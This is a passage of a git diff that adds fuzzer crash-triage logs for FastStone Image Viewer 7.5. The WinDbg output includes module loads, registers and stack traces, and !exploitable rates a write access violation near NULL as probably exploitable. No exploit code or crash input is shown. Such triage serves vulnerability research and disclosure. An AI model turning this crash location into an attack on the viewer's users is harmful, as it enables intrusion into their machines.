C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1864.1fcc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ff7b19 edx=00000000 esi=00000000 edi=0fd18fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.40581e-007 -1.71109e-007 4.44117e-038 1.18406e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ea000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ea000 a25c3694 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ea000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..362623d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/47287/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2d3b68e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7dd246f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x884: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x884: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(884.1494): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=07ccafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.44157e-025 408.528 -4.04627e+008 -5.33895e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0035c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0035c000 0bbfa681 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0035c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7dd246f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x884: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x884: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 